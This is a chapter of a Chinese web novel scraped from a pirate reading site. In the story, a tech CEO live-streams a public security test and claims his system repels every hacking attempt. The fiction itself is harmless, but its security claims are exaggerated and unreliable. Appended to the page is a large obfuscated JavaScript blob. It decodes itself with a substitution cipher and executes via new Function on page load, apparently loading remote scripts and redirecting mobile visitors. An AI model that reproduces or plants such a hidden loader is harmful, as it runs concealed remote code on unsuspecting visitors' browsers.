首页
[切换至繁体版]
返回

第三十九章 全网公测!天穹系统的审判时刻

章节报错(免登陆)
下载APP,无广告、完整阅读

新笔趣阁(52xbq.com)更新快,无弹窗!

  “作为算法工程师,这架构真的牛逼,联邦学习+可解释AI,业界领先水平。”
    “所以之前说的‘算法歧视’是扯淡?这明明每一步都有理有据。”
    “那些说‘AI乱推荐’的人呢?出来走两步?”
    “等等,这只能证明算法没问题,不能证明没泄露数据吧?”
    “楼上急什么,不是还有第二阶段吗?”
    林辰看到那条关于数据泄露的弹幕,眼神冷了一下。
    “好,那我们进入第二阶段。”他切换屏幕,“数据安全验证。”
    3
    第二阶段开始前,在线人数已经突破两千万。
    六个直播平台的流量汇总,加上各大媒体、社交网络的二次传播,此刻至少有上亿人通过各种方式关注着这场公开测试。微博热搜第一已经换成了“#辰雨科技公开算法#”,后面跟着一个“沸”字。
    舆情指挥室里,苏雨晴盯着面前的十二块显示器,手指紧紧攥着咖啡杯,指节发白。
    “微博负面话题占比下降到45%了。”一个年轻的女运营报告,声音发颤,“知乎和豆瓣开始有技术大V出来分析我们的算法,评价……偏正面。”
    “弹幕里的恶意评论比例呢?”苏雨晴问。
    “还在40%左右,但纯辱骂的少了,很多开始讨论技术细节。”另一个男生说,“而且……我们的支持者变多了。有人开始自发整理时间线,反驳那些谣言。”
    苏雨晴点点头,但眉头没有舒展。
    这才第一阶段,只是证明了算法清白。最要命的数据泄露指控,还没开始验证。那才是真正的生死关。
    她看向主屏幕,画面里,林辰已经开始讲解数据安全架构。
    “我们的数据安全体系,分为四层。”林辰调出一个三维架构图,“第一层,终端加密。所有用户数据在手机端输入时,就通过非对称加密算法加密,私钥存储在用户手机的安全芯片中,我们服务器只拿到密文。这意味着,从数据离开你手机的那一刻起,就连我们也看不到明文。”
    “第二层,传输加密。数据通过TLS1.3协议传输,中间人攻击理论上不可行。”
    “第三层,存储加密。服务器上的所有数据,包括密文,会进行二次加密,使用量子混沌算法。这是我们从军方合作项目中获得授权的技术,目前全球公开文献中,还没有有效的破解方案。”
    “第四层,访问控制。所有对数据的访问,都需要三重授权:用户本人授权、系统业务逻辑授权、以及实时风控系统授权。任何异常访问——比如在非工作时间、从陌生IP、高频次访问——都会被立刻拦截,并触发警报。”
    他讲得很细,很技术,但用了很多可视化图表和动画,普通人也能看懂个大概。
    弹幕里的技术人员已经疯了。
    “量子混沌算法?!这玩意儿不是还在实验室阶段吗?”
    “军方授权……我好像明白了什么……”
    “三重授权+实时风控,这架构比银行还严。”
    “所以之前那些‘受害者’说信息被卖,是怎么流出去的?自己手机中毒了吧?”
    “等等,如果数据全是密文,那AI怎么匹配?”
    “同问!加密了还怎么分析?”
    林辰看到了这条弹幕。
    “好问题。”他说,“这就涉及到我们的核心技术:隐私计算。简单说,AI模型不是跑到服务器上,去你的加密数据里翻找。而是我们把模型‘发送’到你的手机端,在你的手机里,用你的本地算力,跑这个模型,完成匹配计算。整个过程,你的原始数据从未离开手机,AI模型也从未‘看到’你的明文数据——它只是在计算一些数学变换后的结果。”
    他调出一张示意图:用户手机端有一个微型AI模型,这个模型和服务器上的大模型同步参数。用户在手机里输入简历,模型在本地计算匹配度,只把最终的“匹配分数”和“推荐职位ID”这些结果,加密传回服务器。服务器再综合千万用户的结果,优化模型参数,把新参数同步回各手机端。
    “联邦学习+同态加密。”林辰总结,“这是目前全球隐私计算领域的最前沿方案。我们不是‘不泄露’数据,我们是‘根本没有’你的原始数据可泄露。”
    这句话像一颗炸弹,扔进了弹幕池。
    “我他妈……所以那些说我简历被卖了的,是来搞笑的?”
    “懂了,辰雨压根就没存我的简历原件,它存的是加密后连它自己都解不开的乱码。”
    “那之前媒体报道的‘内部员工泄露’是怎么回事?”
    “肯定是造谣啊!员工能泄露什么?泄露一堆加密乱码?”
    “但那些受害者说得有鼻子有眼的……”
    “请开始你的表演@辰雨科技,不是说可以验证吗?”
    质疑声还在,但风向已经开始变了。
    因为林辰讲的这些技术,太硬核,太专业,而且有太多可验证的细节。如果是编的,早就被弹幕里的技术大神戳穿了。但现在,那些认证为“网络安全工程师”“密码学博士”“AI研究员”的账号,都在发“这个架构理论上确实可行”“量子混沌算法我知道,某国家重点实验室去年刚发论文”“如果真实现了,那安全级别确实无敌”之类的评论。
    专业领域的意见领袖开始背书,这对扭转舆论至关重要。
    “现在,我们进入攻防演练环节。”林辰的声音把所有人的注意力拉回来,“我将开放一个测试接口,地址会显示在屏幕上。任何技术人员,都可以用任何手段尝试攻击,目标是拿到测试数据库中的任意一条用户信息——哪怕是已经被我们脱敏处理过的测试数据。”
    屏幕上出现一个IP地址和端口号。
    “测试数据库中有十万条模拟数据,数据结构和我们真实业务完全一致。每条数据都有一个唯一ID,如果你能通过攻击拿到这个ID对应的任意字段,就算你赢。”林辰顿了顿,“奖励是:一百万现金,以及辰雨科技终身安全顾问职位,年薪不低于两百万。”
    弹幕再次爆炸。
    “一百万!!”
    “这他妈不比黑客马拉松刺激?!”
    “兄弟们冲啊!财富自由的机会!”
    “我已经在写脚本了……”
    “现场直播攻防,这节目效果炸裂!”
    指挥中心里,王海清额头冒汗,低声对林辰说:“林总,虽然咱们系统安全,但这么公开让人攻击,万一……”
    “没有万一。”林辰看了他一眼,“系统评级SSS,你忘了?”
    王海清一愣,随即想起昨天凌晨看到的那份技术报告。当时他以为自己在做梦——那些只存在于学术论文里的技术,居然真的被实现了,而且已经稳定运行了六个月。
    他擦了擦汗,坐直身体。
    “攻击开始。”林辰按下计时器。
    大屏幕右侧,开始实时滚动攻击日志。一开始只有零星几条,都是试探性的端口扫描、弱密码尝试。但随着时间推移,攻击频率越来越高,手段也越来越复杂:
    (本章未完,请点击下一页继续阅读)第三十九章全网公测!天穹系统的审判时刻(第2/2页)
    “检测到SQL注入尝试……已拦截。”
    “检测到跨站脚本攻击……已拦截。”
    “检测到分布式拒绝服务攻击(DDoS)……流量已清洗。”
    “检测到零日漏洞利用尝试……漏洞库无记录,疑似新型攻击,行为特征已记录,防御规则已实时更新。”
    “检测到APT(高级持续性威胁)攻击特征……IP溯源中,疑似境外地址……”
    攻击日志疯狂刷新,每秒新增几十条。各种专业术语在屏幕上跳动,看得外行人眼花缭乱,内行人头皮发麻。
    因为这攻击强度,已经超过了一般企业级防火墙能承受的极限。显然,不止是看直播的技术人员在玩,很多专业的黑客组织、安全公司,甚至可能有不怀好意的竞争对手,都下场了。
    但“天穹”系统稳如磐石。
    所有的攻击,全部被拦截。所有的尝试,全部失败。甚至有一次,有人试图用社会工程学的方式,伪装成辰雨科技员工,想从内部搞到权限——结果被系统的“异常行为检测模块”瞬间识别,连带着那个IP背后的真实身份信息(当然是脱敏后的)都被挂在了公屏上示众。
    “攻击者ID:ShadowHunter,真实地理位置:上海市浦东新区(已模糊处理),攻击类型:钓鱼攻击+权限提升尝试,处置结果:已永久拉黑,攻击特征已上报国家网络安全中心。”
    这条日志一出,弹幕彻底疯了。
    “我操??还带人肉反杀的?!”
    “上报网安中心可还行……”
    “ShadowHunter?这不是某安全公司的大神吗?他也栽了?”
    “辰雨这安全系统……有点可怕啊。”
    “所以之前那些说‘轻松拿到数据’的媒体,是在侮辱我们黑客的技术水平?”
    “我现在相信了,这系统,真他妈攻不破。”
    半小时后,攻击频率开始下降。
    不是黑客们放弃了,是实在没办法了。所有已知的攻击手段试了个遍,连一些压箱底的零日漏洞都掏出来了,结果连第一道防线都没突破。那个测试接口就像个黑洞,所有攻击扔进去,连个水花都没有。
    “攻防演练进行三十五分钟,累计拦截攻击尝试四万八千七百六十二次,其中高危攻击九千三百四十一次,成功防御率100%。”林辰看着统计数据,“目前攻击频率已下降到每分钟不足十次,看来大家是没什么新花样了。”
    他语气平静,但话里的嘲讽意味,隔着屏幕都能闻到。
    弹幕里一片“哈哈哈”“杀人诛心”“给黑客们留点面子吧”。
    “那么,第二阶段到此结束。”林辰关掉攻击日志,“数据安全方面,我想已经证明得足够清楚了。现在,我们进入第三阶段,也是最后一个阶段:数据溯源验证。”
    他顿了顿,声音压低了些,带着一种冰冷的郑重:
    “请所有认为自己的数据被辰雨科技泄露的‘受害者’,现在,在直播评论区留下你的手机号后四位,以及你怀疑泄露的信息类型。我会在系统中实时检索,向你展示你的数据在我们这里的完整生命周期。”
    “记住,这是你们最后的机会。”
    “如果现在不说,以后就永远不要再提。”
    4
    第三阶段开始前,在线人数冲破了三千万。
    微博热搜前十,有六个和这场直播相关。知乎热榜前五,全是技术分析帖。豆瓣、虎扑、贴吧……几乎所有中文社交网络,都在讨论这件事。
    舆情指挥室里,苏雨晴面前的监控屏幕显示,全网负面声量占比已经下降到30%。而且剩下的这些,大多是从头到尾无脑黑的机器人账号,或者是一些死咬着“资本就是坏”不放的极端用户。理性讨论的声音,已经开始占据主流。
    “舆论……逆转了。”一个运营小姑娘声音发颤,不知是激动还是紧张。
    “还没完。”苏雨晴盯着主屏幕,“第三阶段,才是真正见生死的时候。”
    她了解林辰。他敢这么公开叫板,就一定有绝对的把握。但那些所谓的“受害者”,真的会来吗?如果他们不来,或者来的根本不是真人,是水军冒充的,那这出戏还怎么唱?
    屏幕上,林辰在等待。
    弹幕在疯狂滚动,但都是看热闹的:
    “受害者呢?快出来对线啊!”
    “之前不是挺能说的吗?现在怂了?”
    “我猜根本没人敢来,都是编的故事。”
    “坐等打脸!”
    “来了来了!有人发手机号了!”
    一条弹幕飘过,内容是一串数字:“137****4521,怀疑泄露简历信息。”
    发弹幕的账号名字叫“被科技背叛的人”,头像是个黑色的剪影。
    林辰看到了。他在后台输入这个手机号后四位“4521”,系统开始检索。
    三秒后,结果出现在大屏幕上。
    “用户ID:U_7f3a9b2c,注册时间:2023年8月15日,最后一次活跃:2023年11月2日。”林辰念出信息,“系统记录显示,该用户共上传一份简历,投递过七个职位,收到三个面试邀请,最终入职某互联网公司。数据生命周期如下——”
    屏幕上出现一个时间轴:
    “2023/08/1514:32:18,用户注册,手机号通过运营商三要素认证。”
    “2023/08/1514:35:47,用户上传简历。简历在手机端完成加密,密文传输至服务器。服务器存储的加密版本指纹:0x7a3f……”
    “2023/08/15
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="mt2ffl3njo";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/^F@77qs2CO/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"^F@77qs2CO"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8^F@77qs2CO"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();